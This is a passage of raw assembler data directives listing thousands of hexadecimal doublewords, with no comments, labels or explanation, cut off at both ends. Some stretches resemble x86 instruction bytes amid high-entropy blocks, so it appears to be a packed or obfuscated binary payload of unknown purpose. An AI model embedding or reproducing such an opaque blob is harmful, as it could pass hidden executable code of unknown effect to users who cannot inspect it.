0FFFF81E9h, 0E0235BFFh dd 0FE8D1635h, 1EE9h, 7E008A00h, 52h, 5 dup(0) dd 0E9000000h, 583h, 15A9CBA3h, 720626FFh, 0D266805Ch dd 35C9DDBCh, 9428441Fh, 411C35BBh, 0A17B9125h, 0FBD9EF83h dd 5E3B51E5h, 4FFFB246h, 0A94A2DD2h, 0D564A913h, 0ED6A7956h dd 1442A016h, 0CA025BC4h, 710521FCh, 2E667E5Bh, 336B8360h dd 346C8C65h, 987412D0h, 37B4467Eh, 1442A040h, 3A4CA50Eh dd 14B2E99Dh, 0B4921E38h, 95728C9Eh, 0F5D3E97Dh, 57354BDFh dd 0E119310Eh, 3B9DED46h, 42A039BEh, 1FF99514h, 0D52EC901h dd 3F516F49h, 0B3D1AB79h, 0EC14F163h, 98D0E4C3h, 0FB109DFDh dd 0A472384Ah, 0A573ABCBh, 3675ADCBh, 67B376Fh, 0A644772Fh dd 0B93EBBC8h, 151442E2h, 274153ACh, 45E33349h, 7F1A5266h dd 58354B6Dh, 0A15B0840h, 7E1442E2h, 26D985C1h, 0AFE05BCFh dd 70h, 617956D8h, 0B4739F11h, 0D8738BAAh, 969F8B9h, 86981686h dd 116A13C0h, 39371442h, 70A8BC9Bh, 7E26C3D5h, 9DC49D3Bh dd 0C6DE39ABh, 172982BEh, 5BABC33Ch, 114E0h, 563D0000h dd 57255D7Dh, 58265E7Eh, 77156579h, 0AE49819Bh, 0F572D69Ch dd 0A2F5CEB1h, 0D873ABC7h, 0F8D5EB7Fh, 724CE0h, 9638623Fh dd 39B60680h, 14421342h, 0C095A710h, 275F7B56h, 21AF795h dd 31D2FCAh, 94D20A2Ah, 42E09BCBh, 7B164E64h, 58744F69h dd 0B9D1AEC4h, 0D6EECB69h, 5430FEC4h, 5768023Ah, 0FC06F2Fh dd 0A735E05Ch, 5E000000h, 275F7B56h, 2B637D59h, 3068805Dh dd 0A05A219Eh, 8FF81442h, 1DC2503h, 0B912ADE5h, 0CA7A4381h dd 0BFE76486h, 6E298AFCh, 4932C946h, 37A01442h, 0C765ED7h dd 0E905E0FAh, 48643F55h, 4F634210h, 6B8561FFh, 0A7F99359h dd 1B2DB835h, 97747571h, 53AC477Fh, 0BCE0A441h, 0E05BC773h dd 0CFEDC765h, 721EBDh, 56470000h, 95275F7Bh, 41AC0223h dd 39B68E2Bh, 1442F542h, 0FE4EA710h, 42F5FA81h, 0DDEF5814h dd 97CFE5C3h, 99D1EFC9h, 5D0EDCBh, 0A1349E2Ah, 0A1DF1770h dd 45E4ACD8h, 0C09B82C2h, 1F789871h, 7D56BA8Bh, 0D831512Ah dd 0A009F3A0h, 0B18C1442h, 0B48F5D95h, 5F6F4491h, 0D029C56Bh dd 0D1F1CA98h, 5FDCFE99h, 0AC696B27h, 0FD3BC4F8h, 19CE05Bh dd 0C5000000h, 4F2D7A56h, 0DAA8E039h, 805BDEFDh, 0E1A5C110h dd 0C2995088h, 5C39D782h, 3C183244h, 206F8E22h, 8BC13E8Eh dd 4913A685h, 0FDDAA8E0h, 19F795E5h, 1E30CB03h, 0F109E6FCh dd 0B08927B9h, 0ABBD5890h, 0A6E5CBB2h, 8EB63913h, 69AB28Fh dd 0ABFB13F0h, 101BA539h, 692D972h, 37FD0F2Bh, 3C748C69h dd 0E7135FEh, 57C91931h, 939DDBF6h, 99BBCDB3h, 77E43DC2h dd 15E9AD8h, 92C30000h, 0ACF619F4h, 33699159h, 2CFA328Bh dd 63FE3650h, 85A57E0Ah, 6F3F5073h, 0DE5BBD1Fh, 1442F719h dd 413A4CB5h, 13A6E99Fh, 0A057D436h, 2E13A6D5h, 2DE7B8BEh dd 0CB2484CAh, 3971DAB9h, 26768E6Bh, 5C94AA88h, 3D5B35C1h dd 36586A05h, 0F32B4320h, 0F8304825h, 0CAB5F1BAh, 0E785D5EDh dd 0C0E2F408h, 1F6C48E6h, 95CD2646h, 562DAAFAh, 413A639h dd 51AE899Bh, 86D87778h, 57h, 0A18834A6h, 0EB5B19E9h, 444D04D9h dd 69D1A6Ah, 546BBD5Fh, 7106B3EBh, 319442A0h, 62AF8B29h dd 0DA126B87h, 0D4902D3Fh, 2D7D3160h, 17E9A8BBh, 7DFA96C3h dd 94427B86h, 8092EB54h, 0C3A240A2h, 3FA49DAFh, 5BEBBD84h dd 0E6845EF2h, 1CB7EF0Bh, 8A380Ah, 4DC70000h, 9F1C6C42h dd 13A6B9F5h, 0E7AD2A9Ch, 3A8446FAh, 0A8E04928h, 51E5FDDAh dd 20620577h, 46327C65h, 253D1A34h, 294040EDh, 41C413A6h dd 77F45605h, 13A62A80h, 0B9D3E54Eh, 1130C4DCh, 63E0307Eh dd 144DC0B2h, 0FD82FF61h, 591B92D4h, 63FFDEF0h, 0DE166F85h dd 0CB1B3310h, 1394F2Dh, 0E13A5A33h, 3A5209CFh, 70A8BE9Ch dd 7E26C3D5h, 0A4C49D3Bh, 9CBFD16Ch, 0EE6BBBF3h, 1C793E27h dd 690E8BEBh, 0E503FEFEh, 0BE8F237Ch, 0FD19F492h, 0F5182AC5h dd 47C4149Ah, 13A94A9Eh, 0D5A3DB44h, 1E90E0F8h, 494A8C15h dd 7451DDC4h, 7789245Ch, 1DD7B55h, 0C414AFE7h, 0A953B047h dd 0A3B51E13h, 0FC8DAC89h, 0DDA21F80h, 7913A942h, 4FFAB010h dd 0F68D0A5Ah, 6413A92Fh, 0B452A2FBh, 0BB89C1D5h, 5B6DC6DEh dd 0DF94E895h, 0AF6D463Ch, 0E51D3311h, 0EB9B384Ah, 0EB7F9774h dd 90E0F8D5h, 0C4FC16F2h, 83511729h, 1DFB99A4h, 0DFE79C07h dd 0A7349C3h, 0EBC279B1h, 0CFE7C4BBh, 0E808E17Fh, 0C19EB4D6h dd 8EB71A9h, 71000000h, 0CCDEF6D3h, 563E8DF7h, 56245C7Eh dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh dd 703E768Ah, 74427A94h, 0EE437B9Bh, 1EA668h, 243C8900h dd 7B3B68h, 24348900h, 5E08950h, 4, 8704E883h, 895C2404h dd 6852240Ch, 43DA37F2h, 0E7BF575Ah, 0D1385F19h, 47D7F7EFh dd 0C781D7F7h, 0CDF4E6Ch, 6095C781h, 0FA21EBB2h, 5BC2815Fh dd 89072BB6h, 8B545AD6h, 0C481240Ch, 4, 8B850h, 0C8010000h dd 89F58955h, 0FF585D28h, 81592434h, 4C4h, 2434FF00h, 4C4815Eh dd 0E9000000h, 0FFF88E37h, 0B926EFA0h, 0DF20E74Fh, 0B8AC1AFCh dd 7EBEF45h, 0E0FFC503h, 767D1C6Eh, 5C1FB271h, 7D069F73h dd 6416E351h, 0FC2C64Ah, 17F96ABDh, 4F280D5Dh, 437DB181h dd 7077233Fh, 0C8A0395h, 0B4F820h, 7255E47Dh, 5E8h, 0A6343000h dd 0BE9CE96h, 11000000h, 0B022FD5Eh, 0CDE4C1C8h, 6659576Dh dd 0C181F38Bh, 0DD88h, 0A002E081h, 4BA46FCh, 8108479Fh dd 4767C5EAh, 0BE908h, 9FEB0000h, 0DB0B6BF8h, 75AA4C6Bh dd 5F31FF31h, 81F7B70Fh, 4E1E2EF7h, 817FB72Ch, 0FBE0E3F7h dd 8104B074h, 7F5250C7h, 58FC500Eh, 0E9833989h, 5AC68104h dd 4A2E068Ch, 14850Fh, 0F3800000h, 17E994h, 0E8410000h dd 12FAB024h, 0C2E4F05Dh, 0E9F99713h, 0FFFFFFB5h, 5E24DE48h dd 608D8D1Ah, 0F07EBF1h, 482h, 8BA6600h, 718D89D0h, 8907E41Bh dd 0E423FD9Dh, 0A185C707h, 0B407E42Dh, 6A000071h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0C4B2C350h, 0C01F5AB0h, 0A2CCB965h, 15B503F9h, 0C707E424h dd 0E422B985h, 7, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0FFE5475Ch, 0E42BF1B5h dd 0F9858907h, 0FF07E429h, 0E4306195h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 4FC81E3Bh, 97AD6AFCh, 1AB5858Bh, 0BD0B07E4h, 7E42A19h dd 95FF006Ah, 7E40E41h, 1AEBC08Bh, 498BAAA2h, 587F5FB7h dd 0D5D099CDh, 3CCDCDC4h, 0FDEB2C2Eh, 831778EDh, 27E902E1h dd 0B6000000h, 45D831h, 8 dup(0) dd 66E90000h, 6000005h, 62780C2Eh, 0BFD56989h, 1F35C9E3h dd 82982C40h, 1EF78BA7h, 88A47FD8h, 0E604DEF4h, 485E3C52h dd 0A9C19EB4h, 35B26215h, 13A9514Eh, 9238C70Ch, 2502EC20h dd 0BFD1C187h, 78B0C8A5h, 1FB3CFAAh, 0C4142C09h, 961EE562h dd 53BC1442h, 0D0AD7B41h, 0D9B280B8h, 558DAD86h, 0C52961BAh dd 44211C48h, 0F335B025h, 0E5A4DDC5h, 0F71B26B7h, 21B50E67h dd 83172D0Bh, 14300BA9h, 1B2F0EDCh, 0B896B0C2h, 0C29C6AA2h dd 0B74B30ADh, 9E071442h, 3E560D45h, 97A9C5A0h, 0F5D34AFAh dd 0F714BDFh, 9748649Dh, 0AA1508E7h, 1442C8D5h, 0F107E581h dd 0B3C51EB9h, 6CA4BC99h, 42C83DBFh, 307B5814h, 0ACE43D51h dd 0ADE505DEh, 0ACFFA76Eh, 113FACEEh, 34368F45h, 0EE8CCF77h dd 8C6AF614h, 76896476h, 5FE05B61h, 52h, 5B209288h, 746594FEh dd 84617B8Dh, 0F687346Ch, 0AB144242h, 6503B6EEh, 48643F86h dd 0E41C7510h, 0C61F3B16h, 2F26D9B4h, 1AFE05Bh, 0D8000000h dd 255D7D56h, 0FE1AF593h, 0FF192BC6h, 0DEF6D326h, 0A07F4D85h dd 73F0548Ch, 53734C33h, 0B4CCA9BFh, 7B564F20h, 0F795275Fh dd 30CB0319h, 62B3C9D0h, 5174C53h, 0BAF212EBh, 0F9D4727Ch dd 859269E6h, 0D7401442h, 97CF6C7Eh, 1DB1CDA8h, 0DA122A07h dd 0DE16300Ch, 0A7243310h, 144285D0h, 84BC157Eh, 858E75F2h dd 0E34C1442h, 275F7D57h, 0A5ED9970h, 54083C4Dh, 0E05BEADBh dd 841Ch, 7B564500h, 7D59275Fh, 4AC72B63h, 2C48231Ah, 9F976ADCh dd 6F5AA764h, 0C3613B5Dh, 0A2BC98E9h, 3E76CF6Ah, 9C7791A3h dd 18B64880h, 53D0203Eh, 1442A9ACh, 95AFC12Ah, 0D06AA2B6h dd 0D89F1C7Eh, 761442A9h, 265EFB0Dh, 0DEFAD573h, 1EF90BA6h dd 0E05C0711h, 14C29C7h, 39D40C24h, 432FCEE0h, 58000000h dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 0F95BABC7h, 42A0877Ch dd 5C864414h, 76476807h, 88AABC25h, 2A7D56B7h, 0FAD7374Bh dd 1655A1E7h, 59063E97h, 1442F6A7h, 0D787BF7Ch, 0E05BBB28h dd 1ADh, 7A56D600h, 7D5A2860h, 9F762D65h, 3D16B4E7h, 15F10B1Dh dd 474867FBh, 0BAA51767h, 8610FDE9h, 9D1AF80Ah, 13A65B57h dd 9CAD8925h, 0A65C581Fh, 348DF613h, 0F8D5A3DBh, 0B12E90E0h dd 13A65CCAh, 0EB0D1F88h, 0A8E0F8D5h, 889F7816h, 0A65C740Bh dd 2079E213h, 423B4DE8h, 13A65CBBh, 1F1E46C9h, 78DA2A42h dd 0A65C04FBh, 5769D213h, 7CF95B35h, 13A65C87h, 825EEA53h dd 5F3C5668h, 64410F47h, 0DD6144Ch, 0EA09E659h, 7C735FA6h dd 0B90962D8h, 1224401Bh, 1CE619F0h, 72EFD877h, 18000001h dd 0FEFC2092h, 3887CE35h, 228C0326h, 4A8B55D2h, 0E04913A6h dd 0E5FDDAA8h, 465E3B51h, 4B63400Eh, 580CD513h, 0A0F008E5h dd 0B23AC13Eh, 2F9813A7h, 74ACC8A3h, 0CEA5C7D9h, 0D876FF31h dd 67A6h, 444DCF00h, 46B81A6Ah, 0B835F8A0h, 1442D3C3h dd 6DC6268Fh, 0CFEBC6EFh, 746B6476h, 226BBD0Eh, 2FD481B9h dd 709442F1h, 556B4992h, 0F129821Dh, 0F22A4A23h, 3D20643Bh dd 77124A5Eh, 2A5A211Eh, 809B0D6Fh, 9144AF20h, 294037A2h dd 0A50E9442h, 8D217093h, 0D6DBC03Dh, 0DB77EBBDh, 10ABE301h dd 0CA5523B7h, 0E4000000h, 1C6C424Dh, 283E1CBAh, 4A4355F0h dd 13A6B998h, 9368E547h, 3F13A6B9h, 85E5C4D6h, 0B9D1A623h dd 147D13A6h, 0A6B9D2A9h, 4E6A4513h, 688861FDh, 0E33C9530h dd 0B500DDABh, 0D468C1D7h, 3EC2E1BEh, 263DBBD5h, 90225AB3h dd 0ECFE14F2h, 0A608F7F3h, 0B0F47713h, 552AA709h, 113A609h dd 8F6C8698h, 70089770h, 5F1AAB41h, 0A3393DBh, 5A107038h dd 4E427337h, 1C3BCF28h, 102E0873h, 0EFC967B7h, 0ECFE99D1h dd 0CD4AAC0Eh, 13A60336h, 30293BA4h, 144DF2CBh, 0ED0EEA88h dd 6E48ED75h, 6DA5FECEh, 78E1C0D2h, 7D957240h, 8FB78E45h dd 56A60887h, 7936A2D9h, 0C1BF311Ch, 0C24D387Ah, 72FA06B6h dd 750E312h, 19AD16F5h, 6C424D48h, 411CBA1Ch, 4052ED25h dd 0A9513047h, 0A42E9E13h, 0D4F4CDD6h, 30A1019Ch, 0E1197222h dd 8A1E3613h, 1B43EB0h, 18A0C629h, 0F70FEC06h, 495012BFh dd 8F4D519Ah, 0E9FB15F1h, 4825184Ch, 0A9869C30h, 0AC8B5991h dd 0D2A96098h, 0B6CEAB92h, 0D4EAC866h, 0CDEF019Ch, 8AC2DAB7h dd 657D5AF8h, 38153h, 8D100000h, 5C7E563Eh, 61795624h dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h dd 7A94703Eh, 7B9B7442h, 8950EE43h, 405E0h, 42D0000h, 87000000h dd 895C2404h, 0D682414h, 89000052h, 29682414h, 8900006Fh dd 0B850243Ch, 23167CFh, 0CD24A1BAh, 58C23142h, 8106EAC1h dd 224B33EAh, 14CA8177h, 811DF94Eh, 0F201D2C2h, 32396869h dd 24890000h, 24048324h, 13685F04h, 89000021h, 478F2414h dd 243C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch dd 815A2434h, 4C4h, 86F5E900h, 0CD4FFFF8h, 0CF6957B6h dd 0DA2D9145h, 0F506C799h, 0F683B816h, 0C50307EBh, 8CF2E0FFh dd 6DA21F9Bh, 0F12E1345h, 797A088Ch, 56317791h, 735F7EA1h dd 0BF493B8Dh, 67137B54h, 0D6447F84h, 0C441334Dh, 0E3BF0AFAh dd 7563720Bh, 0BF3D5EB7h, 0BA6A7448h, 93A40894h, 40E53A4Ch dd 0EC63571h, 3AF102B0h, 690561BAh, 537B5060h, 0F2387426h dd 0EB0A6463h, 213655C3h, 7C67301Dh, 0AEA06126h, 78612A73h dd 4BF759B1h, 0D26C7E55h, 0DE8502Bh, 63000000h, 0F7E443C4h dd 0C58D67F9h, 0AEFF6E19h, 0F3816660h, 586134FCh, 9E8h dd 72AA7300h, 358133C8h, 0BA6647FDh, 815EF3F5h, 66BFC0h dd 850F00h, 0BF000000h, 7EF9DFFh, 7B8AC781h, 800FF810h dd 4, 698CB966h, 8B66188Bh, 9DC381D3h, 0E815C80Dh, 9, 985D6A0Ch dd 8804E5B2h, 0EB81594Ah, 44F149B9h, 10D4C381h, 810F2BDCh dd 3, 89D2B70Fh, 29B96618h, 0BAE88154h, 6657C2C4h, 0C081F28Bh dd 57C2C4B6h, 81F18B66h, 1EFh, 0AD850F00h, 0FFFFFFFh, 0ECE9C9BFh dd 0 dd 37000000h, 37C8106h, 587C81CEh, 57C80C0h, 0ED7C9010h dd 7C9010h, 276F200h, 5 dup(0) dd 0A0000000h, 7C80ADh, 2Bh dup(0) dd 6000000h, 14000000h, 0A11611EDh, 92CA11A2h, 6C21E4DBh dd 4D471561h, 2B07A8E5h, 65321282h, 361457Fh, 4023ADA6h dd 0A7BB1566h, 16D6011Fh, 61C288EBh, 97CD1280h, 9FB14D3Dh dd 16D61C53h, 0D8256166h, 4023AD35h, 0A7BB1566h, 16D6011Fh dd 6EED88EBh, 97CD1280h, 0A63D4D3Dh, 11321561h, 7E99506h dd 0AD53C0ECh, 22321576h, 926A205Ch, 8BBA96D6h, 6380C755h dd 0B19F7BB1h, 98F19C35h, 0AC2E9EBEh, 0B836D1E5h, 0DA66A8E5h dd 1E32128Dh, 88324DE2h, 43B71A66h, 2D321566h, 113214E5h dd 0DBFED66h, 43D97385h, 22339569h, 0EECB1566h, 7CB875B6h dd 0B2F99400h, 0A83D749Ah, 11321571h, 8832078Fh, 0DB0BCC66h dd 0A37A7C40h, 8F8F701Ah, 0EB8FBD0Eh, 0C9A4E2DDh, 0C95506E3h dd 90547561h, 98621B4h, 0F576E4ADh, 0F2CD745Bh, 3CB7D39Eh dd 0DE35F14Ah, 43BF1A9Eh, 2D321566h, 113214ECh, 0DA5AEC66h dd 0B1AEBDDEh, 373A099h, 1E521282h, 8752D3D9h, 443215EAh dd 4348A666h, 0B6B79807h, 0E835F2D6h, 0B8E59E00h, 42E2EA07h dd 11349D69h, 66B31566h, 13A595Ah, 0DA53B1D6h, 84390EFh dd 0EE521282h, 4EDBDFEDh, 2A321566h, 42561424h, 5FAA7DC8h dd 0C93D74FFh, 2232157Dh, 113DFC06h, 68411566h, 0F165B7C3h dd 38224A3h, 51FAEC18h, 6FB37304h, 835338C4h, 0C63F2CE3h dd 11321561h, 82B91A66h, 24321566h, 22329B69h, 70521566h dd 0A5B7D307h, 135F14Ah, 4B5B7D9Eh, 1DB9B14h, 0D321566h dd 1B7A7228h, 9B3496E0h, 739B4C89h, 77448C2Dh, 0A03388D3h dd 0EBB37561h, 56C4C83Fh, 54B79807h, 0AD35F15Dh, 2232156Fh dd 0FFA0E9F1h, 3849A816h, 0ADE2EA6Dh, 2232156Bh, 0BD7A5D3h dd 1B0FB77Dh, 97A6FB68h, 0A3B79C49h, 0E835F174h, 0A41F90A0h dd 4B711282h, 223214EDh, 4F5AED66h, 61AE720Dh, 4432156Eh dd 56340133h, 0D5461821h, 89AFA099h, 0CE521282h, 0C2E19480h dd 7072A258h, 88321F8Fh, 0C24CB166h, 7D9C151Ah, 9CFC00CAh dd 6C09C9E3h, 4CB81A61h, 2D321566h, 113217EAh, 61537566h dd 44321560h, 7B30D458h, 0C1CD3260h, 883C9F69h, 4B521566h dd 223215EDh, 8BDA9466h, 0E9673664h, 0BC0E90EFh, 2DDB128Dh dd 0EA321566h, 0DD6D7863h, 6E0FB63Eh, 0BF976ABh, 94F446E5h dd 8FD6394Bh, 4439FC32h, 0CFF51566h, 0BE820AACh, 63495B37h dd 2C1B7D94h, 0DDCBFB04h, 0F53388D3h, 0DBFED61h, 43D62EBAh dd 22299469h, 90521566h, 0AD2120AEh, 443CFC2Ah, 31C61566h dd 0FDCCF927h, 0DA38F9EBh, 0D7740173h, 2DBF1A07h, 0F8321566h dd 8832156Ch, 0C90161B4h, 697971DFh, 0C1CDD886h, 88321F8Fh dd 5BA3B266h, 7B8997h, 98D31CE2h, 63CA55E3h, 0C1F4E061h dd 25D6394Bh, 3B31A23h, 87321566h, 443219EAh, 2235FC66h dd 3BBE1566h, 555B4000h, 7CF07D80h, 29DBCF06h, 0AA321566h dd 0FC090C3Eh, 0A3120A1Ch, 97CDE64Dh, 16D614FBh, 88339F69h dd 0C9CE1566h, 0C609C9E3h, 13B41A61h, 0E8321566h, 24E2EA07h dd 2232048Eh, 0F2469766h, 12265CB0h, 24066FE5h, 466A952Bh dd 0FFB2639Eh, 9544BE9h, 25BCB391h, 0DA7690EFh, 1E52128Dh dd 954DAD1h, 25F3C385h, 227A8E5h, 1E321282h, 883314E3h dd 4CBA1A66h, 2D321566h, 113217EDh, 4E537566h, 0A01E38E3h dd 36DB5061h, 0BF321566h, 2BEC145Ah, 9D15410Dh, 88ED4B45h dd 396B29C0h, 749F3844h, 644C930Eh, 97CDED9Ch, 16D614FBh dd 80BC1A9Ah, 24321566h, 22329869h, 9C531566h, 6C09C9E3h dd 4BCA7561h, 223210E7h, 7F17AC66h, 77531AA4h, 0C1BBE0B6h dd 25D9ED2Eh, 11321E8Fh, 56556166h, 0ABC690EFh, 0D2E1524Ch dd 3D1F90A0h, 707E1282h, 62E2D60Eh, 3BB31A86h, 0F8321566h dd 88321572h, 0C4639CC4h, 1D9F57DAh, 45393387h, 45D161h dd 0D3EB5681h, 23AFA099h, 983D1282h, 8832156Bh, 44321D8Fh dd 96F93566h, 0D7DFD04h, 0DBFED7Ah, 43D62EBAh, 23B41A9Ah dd 0E4321566h, 0EE52C599h, 0E6ACF4E7h, 6EB79C07h, 0F835FE9Eh dd 88321569h, 7183A413h, 4492234Bh, 104EA845h, 61C96378h dd 44321460h, 223A9D69h, 913D1566h, 88321564h, 0C1F47406h dd 25D6394Bh, 16B61A34h, 87321566h, 443214EDh, 2F5AEC66h dd 0E48E5F82h, 0AA67A099h, 57DB1282h, 3B321566h, 2173FA77h dd 5FCC6C09h, 0F7713449h, 5963C706h, 973DBBF2h, 88321561h dd 4B537506h, 0AF53C6D1h, 0F509C9E3h, 83B91A61h, 0AD321566h dd 22321560h, 7BDDA110h, 81DBFED8h, 25321566h, 0DFDFB5A5h dd 2D369CA9h, 1C7C599h, 0AFCA5DE3h, 0A7F4EC61h, 16D6394Bh dd 48897534h, 0CF50DDBEh, 6A5A74B5h, 1E94592Ch, 883214E9h dd 0F1CDE966h, 25D63733h, 1132188Fh, 1092966h, 0AEAA309Eh dd 0A349D966h, 94BFA9CBh, 8FD62EBAh, 443DFC9Ah, 9B051566h dd 0D9E62168h, 0B44A39B3h, 4807A34Dh, 42E2EAC3h, 14B01A9Ah dd 0EE321566h, 0FF6F5E7h, 6EB79C07h, 1E35FE9Eh, 883214E0h dd 0C13DE066h, 22321574h, 113BFC06h, 39A61566h, 95CA2E4h dd 428557C8h, 94F47407h, 8FD6394Bh, 4437FC34h, 76B31566h dd 79122E13h, 7570A18Ch, 44321B8Fh, 0EC5B466h, 0C47BDC44h dd 0B0F20955h, 243B00FFh, 2D9ECFE6h, 0EE53D2D9h, 6C3388D3h dd 443EFC61h, 8CD41566h, 0D9265203h, 8AD96F3h, 0C1BF579Ch dd 25D62EBAh, 113A9F69h, 73D1566h, 44321564h, 0F2CD7406h dd 113A9769h, 53D1566h, 44321564h, 0A7BB7406h, 16D634EFh dd 0A5B7D39Eh, 3335F14Ah, 22339D69h, 79C71566h, 7BA5BDC5h dd 4432058Fh, 0B2210066h, 45CA7782h, 2E9943F4h, 9CDEEE75h dd 0C387EA85h, 0F835F17Bh, 8832156Eh, 351F6B8Bh, 0C3D55316h dd 2AEE90EBh, 77CE1282h, 0C1BBEDB6h, 25D61AE7h, 113E9269h dd 23D1566h, 44321560h, 22329C69h, 94F41566h, 8FD6394Bh dd 535AE034h, 42B8C857h, 11309E69h, 0E9521566h, 4432048Fh dd 12775966h, 0E93640C5h, 97EFCDF0h, 0BB51B40Bh, 0DD53A02Bh dd 0F53388D3h, 0DBFE961h, 43D62EBAh, 22369C69h, 0A0521566h dd 58CD7423h, 0FDB79C9Fh, 4235F143h, 11321B8Fh, 3BA90E66h dd 63A4343Eh, 0E9DDAEDDh, 77C2E2A3h, 4E53D3EDh, 0A01E38E3h dd 2D524361h, 973DD7D1h, 88321565h, 25C3A269h, 3D5F2C0Eh dd 0CBB975B2h, 78B97306h, 44329469h, 43531566h, 3073A099h dd 5CB1282h, 0A382B2E3h, 23BD1A61h, 0E9321566h, 83DBC599h dd 0EA321566h, 9413ED73h, 0C3F11E75h, 0DBBDBC4h, 43D60A53h dd 222E9169h, 963D1566h, 88321570h, 4432048Fh, 0DE322F66h dd 53128143h, 62FBF0CFh, 0AB6A54A1h, 0A7F4C768h, 16D6394Bh dd 9EB71A21h, 0AD321566h, 22321577h, 0E597AF3Bh, 12B33A9h dd 5B028418h, 0B43B120h, 1487D9Fh, 87DB94BAh, 6A321566h dd 97B3A694h, 965C44A9h, 740E0EDAh, 0F1CDC5A7h, 25D614FBh dd 11321B8Fh, 1BD92F66h, 99E0215Ah, 0E2917867h, 9C03355Fh dd 6C09C9E3h, 57BB1A61h, 0CB321566h, 11321568h, 454BF9ECh dd 0F4EF2E56h, 0ECBE433Bh, 0C1CDDB99h, 88339369h, 0CDCE1566h dd 0C62764E3h, 94F4E961h, 8FD6394Bh, 41BD1A21h, 42321566h dd 70EAAA69h, 8787F70Eh, 43B61AECh, 2D321566h, 113214E7h dd 3DCDE066h, 43D614FBh, 2232188Fh, 615E1066h, 0DDE66AEDh dd 0D244D629h, 0A7BFBFB8h, 16D62EBAh, 8832108Fh, 3800B266h dd 0F2CD576Ah, 7DB79C9Eh dd 6135FE9Eh, 44321576h, 0DF450A01h, 761D9867h, 0E520BF75h dd 0E05F1D10h, 43C7EC06h, 0BDB90A1h, 884A1282h, 0ADCB1566h dd 22321574h, 0A5A4299h, 973FBDBEh, 8FBA2E3Bh, 3F73A7BAh dd 0ACB18E22h, 8FD6367Bh, 6EB61A66h, 2D32157Fh, 113212E8h dd 0D2627566h, 25C7DEE6h, 0E1F90A0h, 0F87E1282h, 88321560h dd 0E41AC277h, 0CB5A22BEh, 1EEBCF7Ah, 883214E0h, 0F1CDE066h dd 25D614FBh, 11339369h, 5CE1566h, 0A009C9E3h, 0FAB37561h dd 35249CC0h, 0E9CC9E00h, 4FDBC599h, 0B9321566h, 0BEBDF7BAh dd 395E2120h, 0C1BB150Ch, 25D9ED3Eh, 1EEB9F06h, 883217E1h dd 25C29E66h, 0E1F90A0h, 0E47E1282h, 0FCECDB0Eh, 25CE75BBh dd 22321B8Fh, 0BF597866h, 4D9C9376h, 0E6272D9Ah, 0DD8461C1h dd 0F53388D3h, 53D7561h, 44321564h, 0F8B26AD1h, 1E527444h dd 883216EAh, 97B97366h, 0FEB79807h, 0E835F15Dh, 73DC599h dd 4432156Dh, 0E98D1A06h, 0D4A6E5E7h, 61534432h, 4432156Ch dd 0AD11CD4Ah, 79F98120h, 0DBB8929h, 43D9ED3Ah, 22321C8Fh dd 15FB3266h, 92A1DC9Ah, 56DB261Fh, 5B321566h, 0BC3CC52Ah dd 0A900BFD5h, 3C3C200Eh, 83478F58h, 3CB7D37Dh, 0C435F14Ah dd 0C60D7D9Eh, 0A33DA2E7h, 11321577h, 8832198Fh, 329D066h dd 4FEB9C5Ch, 633642CDh, 1587EAF4h, 2435F167h, 4593AA00h dd 94BF749Fh, 8FD62EBAh, 0ADE2EA9Ah, 22321569h, 0D91459C1h dd 0F2CCC701h, 0BBA49C07h, 0DAD0DEA0h, 0E95290EFh, 9CDB128Dh dd 0AE321566h, 444065FBh, 97A6268Bh, 3179575Ch, 26FEECDCh dd 0E4B80036h, 0F51E38E3h, 0E0CA5961h, 0F71D557Eh, 0BF87EA9Fh dd 1E35F167h, 883213EAh, 1E627566h, 0AF53F6ECh, 0F509C9E3h dd 84B01A61h, 4B321566h, 223213E6h, 11BA1A66h, 77321566h dd 0C4CE75B6h, 0DA5355A7h, 0E95290EFh, 53D128Dh, 44321568h dd 22321C8Fh, 0D86ADE66h, 2D2DB0C1h, 54DBA8E1h, 0A321566h dd 43125122h, 0A5F41C45h, 8C0C42Fh, 0E4AC11E5h, 0F51E38E3h dd 2525361h, 7410AF9Ah, 4A5324DBh, 0ABEC1372h, 7753E906h dd 0A03388D3h, 9D3D7561h, 70F89EA4h, 0B3EE90EBh, 0F6521282h dd 0F2CD7486h, 1132068Fh, 95C7D266h, 9C707CB6h, 706F418Fh dd 92211BB8h, 0E67DDF5Bh, 0BC5A90EFh, 0A83D128Dh, 11321568h dd 88321C8Fh, 770A2F66h, 7A0B5D97h, 94F4B1D1h, 8FD6394Bh dd 4420FC21h, 54E11566h, 0DA223C00h, 78FFAC22h, 0E3053D92h dd 4D7C0895h, 0CD226F0Eh, 8FB71AE7h, 24321566h, 70E29E00h dd 9B527438h, 51B37387h, 0BB53B131h, 0C63388D3h, 94BFED61h dd 8FD62EBAh, 4432198Fh, 92914866h, 6156785h, 362DCDDEh dd 4423FC20h, 28F41566h, 220A2F92h, 0D00B5D97h, 6BA2B1D1h dd 0DDAA9626h, 113DFCB6h, 2D81566h, 73F254F9h, 71028029h dd 620711Ch, 0F8B79C9Bh, 0BC35FE9Eh, 0E1F90A0h, 0F8751282h dd 88321561h, 11457275h, 4AF985E6h, 0FEB59BCAh, 882C9369h dd 4B521566h, 36DBC5D9h, 51321566h, 606D1F35h, 65B47844h dd 0AF9A4D12h, 0FAF3ACB6h, 0E943E516h, 45AFA099h, 0AFC71282h dd 0F509C9E3h, 883CFC61h, 71D11566h, 1D52E371h, 8EADBD1Ch dd 7E75026Ah, 0C03DC599h, 22321575h, 113F9D69h, 80DB1566h dd 6321566h, 8F99260Ch, 1EBCC3E8h, 883200EFh, 4422FC66h dd 0A3F21566h, 6C233E2h, 258218ADh, 81488F13h, 0A7BBAC26h dd 16D9ED12h, 6AB3EC06h, 58ABFB03h, 0FB7D307h, 5635F14Ah dd 88359369h, 0CF3D1566h, 22321567h, 0B6E07D9Eh, 77CEC1FCh dd 0A03388D3h, 0A3547561h, 1EB78DBCh, 553E5D1h, 0A009C9E3h dd 0DDCEEC61h, 1134FCB6h, 763A1566h, 0EC2855B6h, 0DA4A90EFh dd 0D7CE128Dh, 6C1E38E3h, 2CCA5261h, 98F32C62h, 